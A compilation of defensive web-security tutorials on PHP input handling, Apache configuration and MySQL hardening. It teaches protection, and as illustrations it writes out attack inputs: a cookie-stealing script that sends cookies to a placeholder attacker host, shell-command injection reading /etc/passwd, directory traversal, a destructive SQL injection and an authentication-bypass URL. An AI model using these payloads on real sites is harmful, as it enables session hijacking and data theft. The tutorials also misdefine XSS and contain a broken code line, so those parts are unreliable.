from http://www.acunetix.com/crosssitescripting/scanner.htm. This version will scan any
website / web application for XSS vulnerabilities and it will also reveal all the essential information
related to it, such as the vulnerability location and remediation techniques. Scanning for XSS is
normally a quick exercise (depending on the size of the website).
Later In The Series
The next article in this series looks at PHP and file access in detail.
PHP Security / SQL Security Part 1
by Andrew J. Bennieston
Web Security: The Big Picture
Whether your site is the web presence for a large multinational, a gallery showing your product
range and inviting potential customers to come into the shop, or a personal site exhibiting your
holiday photos, web security matters. After the hard work put in to make your site look good and
respond to your users, the last thing you want is for a malicious hacker to come along, perform a
PHP hack and break it somehow.
There are a number of problems in web security, and unfortunately not all of them have definite
solutions, but here we'll look at some of the problems that should be considered every time you set
out to write a PHP script to avoid a PHP hack attack. These are the problems which, with well
designed code, can be eliminated entirely. Before looking in detail at the solutions, though, lets take
a moment to define the problems themselves.
SQL Injection
In this attack, a user is able to execute SQL queries in your website's database. This attack is usually
performed by entering text into a form field which causes a subsequent SQL query, generated from
the PHP form processing code, to execute part of the content of the form field as though it were
SQL. The effects of this attack range from the harmless (simply using SELECT to pull another data
set) to the devastating (DELETE, for instance). In more subtle attacks, data could be changed, or
new data added.
Directory Traversal
This attack can occur anywhere usersupplied data (from a form field or uploaded filename, for
example) is used in a filesystem operation. If a user specifies “../../../../../../etc/passwd” as form data,
and your script appends that to a directory name to obtain userspecific files, this string could lead
to the inclusion of the password file contents, instead of the intended file. More severe cases involve
file operations such as moving and deleting, which allow an attacker to make arbitrary changes to
your filesystem structure.
Authentication Issues
Authentication issues involve users gaining access to something they shouldn't, but to which other
users should. An example would be a user who was able to steal (or construct) a cookie allowing
them to login to your site under an Administrator session, and therefore be able to change anything
they liked.
Remote Scripts (XSS)
XSS, or CrossSite Scripting (also sometimes referred to as CSS, but this can be confused with
Cascading Style Sheets, something entirely different!) is the process of exploiting a security hole in
one site to run arbitrary code on that site's server. The code is usually included into a running PHP
script from a remote location. This is a serious attack which could allow any code the attacker
chooses to be run on the vulnerable server, with all of the permissions of the user hosting the script,
including database and filesystem access.
Processing User Data – Form Input Verification & HTML Display
Validating Input And Stripping Tags
When a user enters information into a form which is to be later processed on your site, they have the
power to enter anything they want. Code which processes form input should be carefully written to
ensure that the input is as requested; password fields have the required level of complexity, email
fields have at least some characters, an @ sign, some more characters, a period, and two or more
characters at the end, zip or postal codes are of the required format, and so on.
Each of these may be verified using regular expressions, which scan the input for certain patterns.
An example for email address verification is the PHP code shown below. This evaluates to true if
an email address was entered in the field named 'email'.
preg_match('/^.+@.+\..{2,3}$/',$_POST['email']);
This code just constructs a regular expression based on the format described above for an email
address. Note that this will return true for anything with an @ sign and a dot followed by 2 or 3
characters. That is the general format for an email address, but it doesn't mean that address
necessarily exists; you'd have to send mail to it to be sure of that.
Interesting as this is, how does it relate to security? Well, consider a guestbook as an example.
Here, users are invited to enter a message into a form, which then gets displayed on the HTML page
along with everyone else's messages. For now, we won't go into database security issues, the
problems dealt with below can occur whether the data is stored in a database, a file, or some other
construct.
If a user enters data which contains HTML, or even JavaScript, then when the data is included into
your HTML for display later, their HTML or JavaScript will also get included.
If your guestbook page displayed whatever was entered into the form field, and a user entered the
following,
Hi, I <b>love</b> your site.
Then the effect is minimal, when displayed later, this would appear as,
Hi, I love your site.
Of course, when the user enters JavaScript, things can get a lot worse. For example, the data below,
when entered into a form which does not prevent JavaScript ending up in the final displayed page,
will cause the page to redirect to a different website. Obviously, this only works if the client has
JavaScript enabled in their browser, but the vast majority of users do.
Hi, I love your site. Its great!<script
language=”JavaScript”>document.location=”http://www.acunetix.com/”;</script>
For a split second when this is displayed, the user will see,
Hi, I love your site. Its great!
The browser will then kick in and the page will be refreshed from www.acunetix.com. In this case,
a fairly harmless alternative page, although it does result in a denial of service attack; users can no
longer get to your guestbook.
Consider a case where this was entered into an online order form. Your order dispatchers would not
be able to view the data because every time they tried, their browser would redirect to another site.
Worse still, if the redirection occurred on a critical page for a large business, or the redirection was
to a site containing objectionable material, custom may be lost as a result of the attack.
Fortunately, PHP provides a way to prevent this style of PHP hack attack. The functions
strip_tags(), nl2br() and htmlspecialchars() are your friends, here.
strip_tags() removes any PHP or HTML tags from a string. This prevents the HTML display
problems, the JavaScript execution (the <script> tag will no longer be present) and a variety of
problems where there is a chance that PHP code could be executed.
nl2br() converts newline characters in the input to <br /> HTML tags. This allows you to format
multiline input correctly, and is mentioned here only because it is important to run strip_tags()
prior to running nl2br() on your data, otherwise the newly inserted <br /> tags will be stripped out
when strip_tags() is run!
Finally, htmlspecialchars() will entityquote characters such as <, > and & remaining in the input
after strip_tags() has run. This prevents them being misinterpreted as HTML and makes sure they
are displayed properly in any output.
Having presented those three functions, there are a few points to make about their usage. Clearly,
nl2br() and htmlspecialchars() are suited for output formatting, called on data just before it is
output, allowing the database or filestored data to retain normal formatting such as newlines and
characters such as &. These functions are designed mainly to ensure that output of data into an
HTML page is presented neatly, even after running strip_tags() on any input.
strip_tags(), on the other hand, should be run immediately on input of data, before any other
processing occurs. The code below is a function to clean user input of any PHP or HTML tags, and
works for both GET and POST request methods.
function _INPUT($name)
{
if ($_SERVER['REQUEST_METHOD'] == 'GET')
return strip_tags($_GET[$name]);
if ($_SERVER['REQUEST_METHOD'] == 'POST')
return strip_tags($_POST[$name]);
}
This function could easily be expanded to include cookies in the search for a variable name. I called
it _INPUT because it directly parallels the $_ arrays which store user input. Note also that when
using this function, it does not matter whether the page was requested with a GET or a POST
method, the code can use _INPUT() and expect the correct value regardless of request method. To
use this function, consider the following two lines of code, which both have the same effect, but the
second strips the PHP and HTML tags first, thus increasing the security of the script.
$name = $_GET['name');
$name = _INPUT('name');
If data is to be entered into a database, more processing is needed to prevent SQL injection, which
will be discussed later.
Executing Code Containing User Input
Another concern when dealing with user data is the possibility that it may be executed in PHP code
or on the system shell. PHP provides the eval() function, which allows arbitrary PHP code within a
string to be evaluated (run). There are also the system(), passthru() and exec() functions, and the
backtick operator, all of which allow a string to be run as a command on the operating system shell.
Where possible, the use of all such functions should be avoided, especially where user input is
entered into the command or code. An example of a situation where this can lead to attack is the
following command, which would display the results of the command on the web page.
echo 'Your usage log:<br />';
$username = $_GET['username'];
passthru(“cat /logs/usage/$username”);
passthru() runs a command and displays the output as output from the PHP script, which is included
into the final page the user sees. Here, the intent is obvious, a user can pass their username in a GET
request such as usage.php?username=andrew and their usage log would be displayed in the browser
window.
But what if the user passed the following URL?
usage.php?username=andrew;cat%20/etc/passwd
Here, the username value now contains a semicolon, which is a shell command terminator, and a
new command afterwards. The %20 is a URLEncoded space character, and is converted to a space
automatically by PHP. Now, the command which gets run by passthru() is,
cat /logs/usage/andrew;cat /etc/passwd
Clearly this kind of command abuse cannot be allowed. An attacker could use this vulnerability to
read, delete or modify any file the web server has access to. Luckily, once again, PHP steps in to
provide a solution, in the form of the escapeshellarg() function. escapeshellarg() escapes any
characters which could cause an argument or command to be terminated. As an example, any single
or double quotes in the string are replaced with \' or \”, and semicolons are replaced with \;. These
replacements, and any others performed by escapeshellarg(), ensure that code such as that presented
below is safe to run.
$username = escapeshellarg($_GET['username']);
passthru(“cat /logs/usage/$username”);
Now, if the attacker attempts to read the password file using the request string above, the shell will
attempt to access a file called “/logs/usage/andrew;cat /etc/passwd”, and will fail, since this file will
almost certainly not exist.
It is generally considered that eval() called on code containing user input be avoided at all costs;
there is almost always a better way to achieve the desired effect. However, if it must be done,
ensure that strip_tags has been called, and that any quoting and character escapes have been
performed.
Combining the above techniques to provide stripping of tags, escaping of special shell characters,
entityquoting of HTML and regular expressionbased input validation, it is possible to construct
secure web scripts with relatively little work over and above constructing one without the security
considerations. In particular, using a function such as the _INPUT() presented above makes the
secure version of input acquisition almost as painless as the insecure version PHP provides.
How to check for PHP vulnerabilities
The best way to check whether your web site & applications are vulnerable to PHP hack attacks is
by using a Web Vulnerability Scanner. A Web Vulnerability Scanner crawls your entire website
and automatically checks for vulnerabilities to PHP attacks. It will indicate which scripts are
vulnerable so that you can fix the vulnerability easily. Besides PHP security vulnerabilities, a web
application scanner will also check for SQL injection, Cross site scripting & other web
vulnerabilities.
Acunetix Web Vulnerability Scanner ensures website security by automatically checking for SQL
injection, Cross site scripting and other vulnerabilities. It checks password strength on
authentication pages and automatically audits shopping carts, forms, dynamic content and other web
applications. As the scan is being completed, the software produces detailed reports that pinpoint
where vulnerabilities exist. Take a product tour or download the evaluation version today!
Scanning for XSS vulnerabilities with Acunetix WVS Free Edition!
To check whether your website has cross site scripting vulnerabilities, download the Free Edition
from http://www.acunetix.com/crosssitescripting/scanner.htm. This version will scan any
website / web application for XSS vulnerabilities and it will also reveal all the essential information
related to it, such as the vulnerability location and remediation techniques. Scanning for XSS is
normally a quick exercise (depending on the size of the website).
Later In The Series
This series will go on to look at SQL databases, and protecting against SQL injection attacks, as
well as file operations and session management, including a look at one of the features of PHP
designed to increase security and avoid PHP hack attacks the PHP Safe Mode.
Apache server Security:
Security Tips for Server Configuration
• Permissions on ServerRoot Directories
• Server Side Includes
Non Script Aliased CGI
•
Script Aliased CGI
•
CGI in General
•
Other sources of dynamic content
•
Protecting System Settings
•
Protect Server Files by Default
•
Some hints and tips on security issues in setting up a web server. Some of the suggestions will be
general, others specific to Apache.
Permissions on ServerRoot Directories
In typical operation, Apache is started by the root user, and it switches to the user defined by the
User directive to serve hits. As is the case with any command that root executes, you must take care
that it is protected from modification by nonroot users. Not only must the files themselves be
writeable only by root, but also the directories and parents of all directories. For example, if you
choose to place ServerRoot in /usr/local/apache then it is suggested that you create that
directory as root, with commands like these:
mkdir /usr/local/apache
cd /usr/local/apache
mkdir bin conf logs
chown 0 . bin conf logs
chgrp 0 . bin conf logs
chmod 755 . bin conf logs
It is assumed that /, /usr, and /usr/local are only modifiable by root. When you install the httpd
executable, you should ensure that it is similarly protected:
cp httpd /usr/local/apache/bin
chown 0 /usr/local/apache/bin/httpd
chgrp 0 /usr/local/apache/bin/httpd
chmod 511 /usr/local/apache/bin/httpd
You can create an htdocs subdirectory which is modifiable by other users since root never
executes any files out of there, and shouldn't be creating files in there.
If you allow nonroot users to modify any files that root either executes or writes on then you open
your system to root compromises. For example, someone could replace the httpd binary so that the
next time you start it, it will execute some arbitrary code. If the logs directory is writeable (by a
nonroot user), someone could replace a log file with a symlink to some other system file, and then
root might overwrite that file with arbitrary data. If the log files themselves are writeable (by a non
root user), then someone may be able to overwrite the log itself with bogus data.
Server Side Includes
Server Side Includes (SSI) present a server administrator with several potential security risks.
The first risk is the increased load on the server. All SSIenabled files have to be parsed by Apache,
whether or not there are any SSI directives included within the files. While this load increase is
minor, in a shared server environment it can become significant.
SSI files also pose the same risks that are associated with CGI scripts in general. Using the "exec
cmd" element, SSIenabled files can execute any CGI script or program under the permissions of
the user and group Apache runs as, as configured in httpd.conf. That should definitely give server
administrators pause.
There are ways to enhance the security of SSI files while still taking advantage of the benefits they
provide.
To isolate the damage a wayward SSI file can cause, a server administrator can enable suexec as
described in the CGI in General section.
Enabling SSI for files with .html or .htm extensions can be dangerous. This is especially true in a
shared, or high traffic, server environment. SSIenabled files should have a separate extension, such
as the conventional .shtml. This helps keep server load at a minimum and allows for easier
management of risk.
Another solution is to disable the ability to run scripts and programs from SSI pages. To do this,
replace Includes with IncludesNOEXEC in the Options directive. Note that users may still use
<#include virtual="..." > to execute CGI scripts if these scripts are in directories designated by a
ScriptAlias directive.
Non Script Aliased CGI
Allowing users to execute CGI scripts in any directory should only be considered if;
1. You trust your users not to write scripts which will deliberately or accidentally expose your
system to an attack.
2. You consider security at your site to be so feeble in other areas, as to make one more
potential hole irrelevant.
3. You have no users, and nobody ever visits your server.
Script Aliased CGI
Limiting CGI to special directories gives the admin control over what goes into those directories.
This is inevitably more secure than non script aliased CGI, but only if users with write access to
the directories are trusted or the admin is willing to test each new CGI script/program for
potential security holes.
Most sites choose this option over the non script aliased CGI approach.
CGI in General
Always remember that you must trust the writers of the CGI script/programs or your ability to spot
potential security holes in CGI, whether they were deliberate or accidental.
All the CGI scripts will run as the same user, so they have potential to conflict (accidentally or
deliberately) with other scripts e.g. User A hates User B, so he writes a script to trash User B's CGI
database. One program which can be used to allow scripts to run as different users is suEXEC
which is included with Apache as of 1.2 and is called from special hooks in the Apache server code.
Another popular way of doing this is with CGIWrap.
Other sources of dynamic content
Embedded scripting options which run as part of the server itself, such as mod_php, mod_perl,
mod_tcl, and mod_python, run under the identity of the server itself (see the User directive), and
therefore scripts executed by these engines potentially can access anything the server user can.
Some scripting engines may provide restrictions, but it is better to be safe and assume not.
Protecting System Settings
To run a really tight ship, you'll want to stop users from setting up .htaccess files which can
override security features you've configured. Here's one way to do it.
In the server configuration file, put
<Directory />
AllowOverride None
</Directory>
This prevents the use of .htaccess files in all directories apart from those specifically enabled.
Protect Server Files by Default
One aspect of Apache which is occasionally misunderstood is the feature of default access. That is,
unless you take steps to change it, if the server can find its way to a file through normal URL
mapping rules, it can serve it to clients.
For instance, consider the following example:
1. # cd /; ln -s / public_html
2. Accessing http://localhost/~root/
This would allow clients to walk through the entire filesystem. To work around this, add the
following block to your server's configuration:
<Directory />
Order Deny,Allow
Deny from all
</Directory>
This will forbid default access to filesystem locations. Add appropriate <Directory> blocks to
allow access only in those areas you wish. For example,
<Directory /usr/users/*/public_html>
Order Deny,Allow
Allow from all
</Directory>
<Directory /usr/local/httpd>
Order Deny,Allow
Allow from all
</Directory>
Pay particular attention to the interactions of <Location> and <Directory> directives; for
instance, even if <Directory /> denies access, a <Location /> directive might overturn it.
Also be wary of playing games with the UserDir directive; setting it to something like "./" would
have the same effect, for root, as the first example above. If you are using Apache 1.3 or above, we
strongly recommend that you include the following line in your server configuration files:
UserDir disabled root
20 ways to Secure your Apache Configuration
December 06, 2005
Here are 20 things you can do to make your apache configuration more secure.
Disclaimer: The thing about security is that there are no guarantees or absolutes. These
suggestions should make your server a bit tighter, but don't think your server is necessarily secure
after following these suggestions.
Additionally some of these suggestions may decrease performance, or cause problems due to your
environment. It is up to you to determine if any of the changes I suggest are not compatible with
your requirements. In other words proceed at your own risk.
First, make sure you've installed latest security patches
There is no sense in putting locks on the windows, if your door is wide open. As such, if you're not
patched up there isn't really much point in continuing any longer on this list. Go ahead and
bookmark this page so you can come back later, and patch your server.
Hide the Apache Version number, and other sensitive information.
By default many Apache installations tell the world what version of Apache you're running, what
operating system/version you're running, and even what Apache Modules are installed on the
server. Attackers can use this information to their advantage when performing an attack. It also
sends the message that you have left most defaults alone.
There are two directives that you need to add, or edit in your httpd.conf file:
ServerSignature Off
ServerTokens Prod
The ServerSignature appears on the bottom of pages generated by apache such as 404 pages,
directory listings, etc.
The ServerTokens directive is used to determine what Apache will put in the Server HTTP
response header. By setting it to Prod it sets the HTTP response header as follows:
Server: Apache
If you're super paranoid you could change this to something other than "Apache" by editing the
source code, or by using mod_security (see below).
Make sure apache is running under its own user account and group
Several apache installations have it run as the user nobody. So suppose both Apache, and your
mail server were running as nobody an attack through Apache may allow the mail server to also
be compromised, and vise versa.
User apache
Group apache
Ensure that files outside the web root are not served
We don't want apache to be able to access any files out side of its web root. So assuming all your
web sites are placed under one directory (we will call this /web), you would set it up as follows:
<Directory />
Order Deny,Allow
Deny from all
Options None
AllowOverride None
</Directory>
<Directory /web>
Order Allow,Deny
Allow from all
</Directory>
Note that because we set Options None and AllowOverride None this will
turn off all options and overrides for the server. You now have to add them explicitly
for each directory that requires an Option or Override.
Turn off directory browsing
You can do this with an Options directive inside a Directory tag. Set Options to either
None or -Indexes
Options -Indexes
Turn off server side includes
This is also done with the Options directive inside a Directory tag. Set Options to either
None or -Includes
Options -Includes
Turn off CGI execution
If you're not using CGI turn it off with the Options directive inside a Directory tag. Set
Options to either None or -ExecCGI
Options -ExecCGI
Don't allow apache to follow symbolic links
This can again can be done using the Options directive inside a Directory tag. Set Options
to either None or -FollowSymLinks
Options -FollowSymLinks
Turning off multiple Options
If you want to turn off all Options simply use:
Options None
If you only want to turn off some separate each option with a space in your Options directive:
Options -ExecCGI -FollowSymLinks -Indexes
Turn off support for .htaccess files
This is done in a Directory tag but with the AllowOverride directive. Set it to None.
AllowOverride None
If you require Overrides ensure that they cannot be downloaded, and/or change the name to
something other than .htaccess. For example we could change it to .httpdoverride, and
block all files that start with .ht from being downloaded as follows:
AccessFileName .httpdoverride
<Files ~ "^\.ht">
Order allow,deny
Deny from all
Satisfy All
</Files>
Run mod_security
mod_security is a super handy Apache module written by Ivan Ristic, the author of Apache Security
from O'Reilly press.
You can do the following with mod_security:
Simple filtering
•
Regular Expression based filtering
•
URL Encoding Validation
•
Unicode Encoding Validation
•
Auditing
•
Null byte attack prevention
•
Upload memory limits
•
Server identity masking
•
Built in Chroot support
•
And more
•
Disable any unnecessary modules
Apache typically comes with several modules installed. Go through the apache module
documentation and learn what each module you have enabled actually does. Many times you will
find that you don't need to have the said module enabled.
Look for lines in your httpd.conf that contain LoadModule. To disable the module you can
typically just add a # at the beginning of the line. To search for modules run:
grep LoadModule httpd.conf
Here are some modules that are typically enabled but often not needed: mod_imap,
mod_include, mod_info, mod_userdir, mod_status, mod_cgi, mod_autoindex.
Make sure only root has read access to apache's config and binaries
This can be done assuming your apache installation is located at /usr/local/apache as
follows:
chown -R root:root /usr/local/apache
chmod -R o-rwx /usr/local/apache
Lower the Timeout value
By default the Timeout directive is set to 300 seconds. You can decrease help mitigate the
potential effects of a denial of service attack.
Timeout 45
Limiting large requests
Apache has several directives that allow you to limit the size of a request, this can also be useful for
mitigating the effects of a denial of service attack.
A good place to start is the LimitRequestBody directive. This directive is set to unlimited by
default. If you are allowing file uploads of no larger than 1MB, you could set this setting to
something like:
LimitRequestBody 1048576
If you're not allowing file uploads you can set it even smaller.
Some other directives to look at are LimitRequestFields, LimitRequestFieldSize and
LimitRequestLine. These directives are set to a reasonable defaults for most servers, but you
may want to tweak them to best fit your needs. See the documentation for more info.
Limiting the size of an XML Body
If you're running mod_dav (typically used with subversion) then you may want to limit the max
size of an XML request body. The LimitXMLRequestBody directive is only available on
Apache 2, and its default value is 1 million bytes (approx 1mb). Many tutorials will have you set
this value to 0 which means files of any size may be uploaded, which may be necessary if you're
using WebDAV to upload large files, but if you're simply using it for source control, you can
probably get away with setting an upper bound, such as 10mb:
LimitXMLRequestBody 10485760
Limiting Concurrency
Apache has several configuration settings that can be used to adjust handling of concurrent requests.
The MaxClients is the maximum number of child processes that will be created to serve
requests. This may be set too high if your server doesn't have enough memory to handle a large
number of concurrent requests.
Other directives such as MaxSpareServers, MaxRequestsPerChild, and on Apache2
ThreadsPerChild, ServerLimit, and MaxSpareThreads are important to adjust to
match your operating system, and hardware.
Restricting Access by IP
If you have a resource that should only by accessed by a certain network, or IP address you can
enforce this in your apache configuration. For instance if you want to restrict access to your intranet
to allow only the 176.16 network:
Order Deny,Allow
Deny from all
Allow from 176.16.0.0/16
Or by IP:
Order Deny,Allow
Deny from all
Allow from 127.0.0.1
Adjusting KeepAlive settings
According to the Apache documentation using HTTP Keep Alive's can improve client performance
by as much as 50%, so be careful before changing these settings, you will be trading performance
for a slight denial of service mitigation.
KeepAlive's are turned on by default and you should leave them on, but you may consider changing
the MaxKeepAliveRequests which defaults to 100, and the KeepAliveTimeout which
defaults to 15. Analyze your log files to determine the appropriate values.
Run Apache in a Chroot environment
chroot allows you to run a program in its own isolated jail. This prevents a break in on one
service from being able to effect anything else on the server.
It can be fairly tricky to set this up using
chroot due to library dependencies. I mentioned above
that the mod_security module has built in chroot support. It makes the process as simple as
adding a mod_security directive to your configuration:
SecChrootDir /chroot/apache
There are however some caveats however, so check out the docs for more info.
should know when developing with PHP and MySQL I read about many of these points in books and tutorials but I was rather lazy to think about many of them initially learned some of these lessons the hard way. Fortunately I didn’t lose any major data over security issues with PHP MySQL, but my suggestion to everyone who is new to PHP is to read these tips and apply them *before* you end up with a big mess.
1. Do not trust user input
If you are expecting an integer call intval() (or use cast) or if you don’t expect a username to have a dash () in it, check it with strstr() and prompt the user that this username is not valid.
Here is an example:
$post_id = intval($_GET['post_id']);
mysql_query("SELECT * FROM post WHERE id = $post_id");
Now $post_id will be an integer for sure
2. Validate user input on the server side
If you are validating user input with JavaScript, be sure to do it on the server side too, because for bypassing your JavaScript validation a user just needs to turn their JavaScript off. JavaScript validation is only good to reduce the server load.
3. Do not use user input directly in your SQL queries Use mysql_real_escape_string() to escape the user input.PHP.net recommends this function: (well a little different)
function escape($values) {
if(is_array($values)) {
$values = array_map('escape', $values);
} else {
/* Quote if not integer */
if ( !is_numeric($values) || $values{0} == '0' ) {
$values = "'" .mysql_real_escape_string($values) . "'";
}
}
return $values;
}
Then you can use it like this:
$username = escape($_POST['username']);
mysql_query("SELECT * FROM user WHERE username = $username"); /* escape() will also adds quotes to strings automatically */
4. In your SQL queries don’t put integers in quotes
For example $id is suppose to be an integer:
$id = "0; DELETE FROM users";
$id = mysql_real_escape_string($id); // 0; DELETE FROM users -
mysql_real_escape_string doesn't escape ;
mysql_query("SELECT * FROM users WHERE id='$id'");
Note that, using intval() would fix the problem here.
5. Always escape the output
This will prevent XSS (Cross Site Scripting) attacks, imagine you receive and save some data from a user and you want to display this data on a web page later (maybe his/her bio or username) and the user puts this bit of code in the input field along with his bio:
<script>alert('');</script>
If you display the raw user input on a web page this will be very ugly, it can even be worse if a user inputs this code instead:
<script>document.location.replace('http://attacker/?
c='+document.cookie);</script>
With this, an attacker can steal cookies from whoever visits that certain page (containing bio etc.) and this includes session cookies with session IDs in them so the attacker can hijack your users’ sessions and appear to be logged in as other users.When displaying user input on a page use htmlentities($user_bio, ENT_QUOTES, ‘UTF8′);
6. When uploading files, validate the file mime type
If you are expecting images, make sure the file you are receiving is an image or it might be a PHP script that can run on your server and does whatever damage you can imagine.One quick way is to check the file extension:
$valid_extensions = array('jpg', 'gif', 'png'); // ...
$file_name = basename($_FILES['userfile']['name']);
$_file_name = explode('.', $file_name);
$ext = $_file_name[ count($_file_name) - 1 ];
if( !in_array($ext, $valid_extensions) ) {
/* This file is invalid */
}
Note that validating extension is a very simple way, and not the best way, to validate file uploads but it’s effective; simply because unless you have set your server to interpret .jpg files as PHP scripts then you are fine.
7. If you are using 3rd party code libraries, be sure to keep them up to date
If you are using code libraries like Smarty or ADODB etc. be sure to always download the latest version.
8. Give your database users just enough permissions
If a database user is never going to drop tables, then when creating that user don’t give it drop table permissions, normally just SELECT, UPDATE, DELETE, INSERT should be enough.
9. Do not allow hosts other than localhost to connect to your database If you need to, add only that particular host or IP as necessary but never, ever let everyone connect to your database server.
10. Your library file extensions should be PHP
.inc files will be written to the browser just like text files (unless your server is setup to interpret them as PHP scripts), users will be able to see your messy code (kidding:)) and possibly find exploits or see your passwords etc. Have extensions like config.inc.php or have a .htaccess file in your extension (templates, libs etc.)
folders with this one line: deny from all
11. Have register globals off or define your variables first
Register globals can be very dangerous, consider this bit of code:
if( user_logged_in() ) {
$auth = true;
}
if( $auth ) {
/* Do some admin stuff */
}
Now with register globals on an attacker can view this page like this and bypass your authentication:
[url]http://yourwebsite.com/admin.php?auth=1[/url]
If you have registered globals on and you can’t turn it off for some reason you can fix these issues by defining your variables first:
$auth = false;
if( user_logged_in() ) {
$auth = true;
}
if( $auth ) {
/* Do some admin stuff */
}
Defining your variables first is a good programming practice that I suggest you follow anyway.
12. Keep PHP itself up to date
Just take a look at [url]www.php.net[/url] and see release announcements and note how many security issues they fix on every release to understand why this is important.
13. Read security books
Always find new books about PHP security to read; you can start by reading the 4th book in the Learning PHP Post, which is one of the best books on PHP security and the author is a member of the PHP team so he knows the internals very well.
14. Contribute to this list
Feel free to reply to this thread and add to this list, it will be helpful for everyone!
Security Hints for PHP/MySQL Applications Apache Server Security
This page provides some geneal hints for Apache servers running PHP applications. I recommend to consider them for ConfTool installations and they are probably useful for most other productive environments with PHP and MySQL.
Access to Backup Files It is advisable to block access to all backup files. If these are for instance PHP files, they are usually not executed and may reveal parameters like the password for your mysql database. To block the access to backup files with the extensions "bak", "BAK" and "~" use the following lines in your httpd.conf file:
<FilesMatch "(\.bak|\.BAK|~)$">
order deny,allow
deny from all
</FilesMatch>
Example:
<Directory "/home/conftool/">
# For Conftool you need none of the options directive, if you do not
# use the .htaccess file, but make the conftool settings in php.ini
options none
# Controls who can get stuff from this server.
order deny,allow
allow from all
# Prevent access to backup files!
<FilesMatch "(\.bak|\.BAK|~)$">
order deny,allow
deny from all
</FilesMatch>
</Directory>
MySql Database Security Limit Network Access
If not required, block network access to the mysql database server from other hosts. One way to limit any network access to your MySQL server is adding the parameter skip-networking to your mysql configuration file "my.cnf" (usually in /etc/ or C:/Windows/). Applications now have to use a socket file to access the MySQL deamon. If disabling network access causes compatibility issues with some of your applications, you may also use
bind-address = 127.0.0.1
to limit access to localhost only.
Update Default Root User
Many distributions install a "root" MySQL user without any password. Make sure to set a password for the "root" user after a new server installation. From the command line call
mysql mysql -u root
In the mysql client you have to enter two commands:
UPDATE user SET Password=PASSWORD('myNewPassword') WHERE user='root';
flush privileges;
The second command reads the new password into the mysql server.
Alternatively you can also use the "mysqladmin tool" mysqladmin -u root password
You will be prompted for the password. If you get the error message
mysqladmin: connect to server at 'localhost' failed
error: 'Access denied for user 'root'a'localhost' (using password: NO)' a password for the user root is already set.
PHP Security Settings
PHP is not an "unsave" programming language, but there are some PHP settings that are recommended to reduce the vulnerability of most PHP installations. They are set in your php.ini file, some can also be set in the apache configuration file or your local .htaccess file. Please consider that other PHP scripts on your server might have problems with the settings recommended here.
DISABLE_FUNCTIONS
Some PHP functions can make your system vulnerable, as they provide access to system ressources, parameters or files. Such are:
show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open, proc_nice
Conftool makes use of two of these functions:
• "exec" is used on windows systems to check if the domain name of an email address exists. All parameters are sanitized before the function call. (The function is also used in some custom ConfTool libraries to access credit card gateways.)
• "popen" is used in the "phpmailer" library to send emails. You can alternatively use the buildin php function to send mails, but it is less powerful.
Therefore if you use one of the features above, you should only disable the following functions in the file "php.ini":
disable_functions = show_source, system, shell_exec, passthru, phpinfo,
proc_open, proc_nice
REGISTER_GLOBALS
The switch
register_globals = Off
should always be set, as otherwise all http get and post variables are directly accessible as global variables in the PHP application. This is a potential security problem for any PHP application. I recommend not to use any PHP application that requires "register_globals" to be on.
ALLOW_URL_FOPEN
allow_url_fopen = Off
This should be set for most servers. It prevents that scripts can load php code from other web servers, a potential security issue.
allow_url_include = Off
Since PHP 5.2 the setting allow_url_include allows to disable remote addresses for the commands "include" and "require" only. So if some of your scripts require allow_url_fopen, the above settings might be an alternative.
DISPLAY_ERRORS
display_errors = Off
This setting will turn off the output of PHP error messages to your users and possible attackers. It should always be set to "off" in a productive environment. You can (and should) still log (and analyze) errors in the server's error_log by setting:
log_errors = On
OPEN_BASEDIR
Syntax: open_basedir = "/path/to/conftool"
Limits the execution of php files on your Web server. Files outside the
given path(s) are not executed. It is always recommended to use it and to restrict php to those directories where known applications reside.
Example for Windows:
open_basedir = "D:/www/conftool/;C:/Program Files/Apache Group/Apache/htdocs/"
Unix/Linux example:
open_basedir = "/home/conftool/:/srv/www/"
SAFE_MODE
safe_mode = On/Off
Safe Mode restricts the access of php scripts on your web server. It is currently not recommended to use it with ConfTool as e.g. timeouts cannot be set and the access to uploaded files is limited.
ConfTool does somehow work with safe mode, but there are many potential problems (e.g. with bulk mails).
HardenedPHP Project The HardenedPHP project provides two patches / extensions for PHP that can improve the security of all PHP installations:
• The hardening patch adds security hardening features to the PHP core to protect servers against a number of well known problems in PHP applications and against potential unknown vulnerabilities.
• Suhosin is an extension for PHP to protect servers and users from known and unknown flaws in PHP applications and the PHP core by adding new security filters and PHP security settings.
Both patches work well with ConfTool. I recommend the Suhosin extension for any productive environment running PHP applications.
PHP Security Tips Part 1
When writing PHP scripts, security should always be your primary concern. A poorly written PHP script can open up your web site and web server to attacks, either enabling attackers to retrieve confidential data, or even enabling an attacker to take control of your web site and server. If you are storing highly sensitive data
such as customer credit cards then the necessity for PHP security becomes critical.
This article is the first part of several which we hope will help you understand how to make your PHP scripts more secure.
Error reportingEvery PHP developer makes mistakes, even the most experienced. PHP's error reporting functions can help you find your mistakes before they cause serious problems.
PHP's error reporting functions can be manipulated at any level, either in the PHP configuration or at any stage in a PHP script enabling you to control how errors are handled on a function by function basis if necessary.
To enable PHP's error reporting functions, we recommend using the following code to display errors as they occur when running your scripts:
ini_set('error_reporting', E_ALL | E_STRICT);
ini_set('display_errors', 'On');
Using the above code, PHP will print any errors which occur. If preferred, you can use the following code to record errors to a log file, this method is more appropriate when you want to continue logging errors in a live script which is being used by your web site visitors:
ini_set('error_reporting', E_ALL | E_STRICT);
ini_set('display_errors', 'Off');
ini_set('log_errors', 'On');
ini_set('error_log', '/path/to/your/error_log');When using this code the 'error_log' value should be set to a full/absolute server path to the file you wish to use for your error log. This can be located anywhere on your server, though ideally this should not be in a location where it can be accessed with a web browser.
It is also possible to create a custom error reporting function which enables you to control how errors are displayed and handled, simply place the following code in your PHP script to enable a custom error reporting function:
set_error_handler('error_reporting');
Then create a PHP function called 'error_reporting' to handle the error report:
function error_reporting($error_number, $error_string,
$error_file, $error_line, $error_context) {
print "PHP Error\n";
print "Error Number: $error_number\n";
print "Error String: $error_string\n";
print "Error File: $error_file\n";
print "Error Line: $error_line\n";
print "Error Context: ".print_r($error_context)."\n";
}
The function inputs are used for the following purposes:
$error_number, contains the level of the error raised as an integer.
$error_string, contains the error message as a string.
$error_file, contains the name of the file the error was raised in.
$error_line, contains the line number in the file where the error was raised.
$error_context, contains an array of every variable that existed when the error was triggered.
Validating data
Ensuring the data your users enter is valid is very important, allowing users to freely enter any data can pose a serious security risk. You should always validate your input data, for example if a user is entering a phone number you should validate the input to ensure they may only enter numeric values.
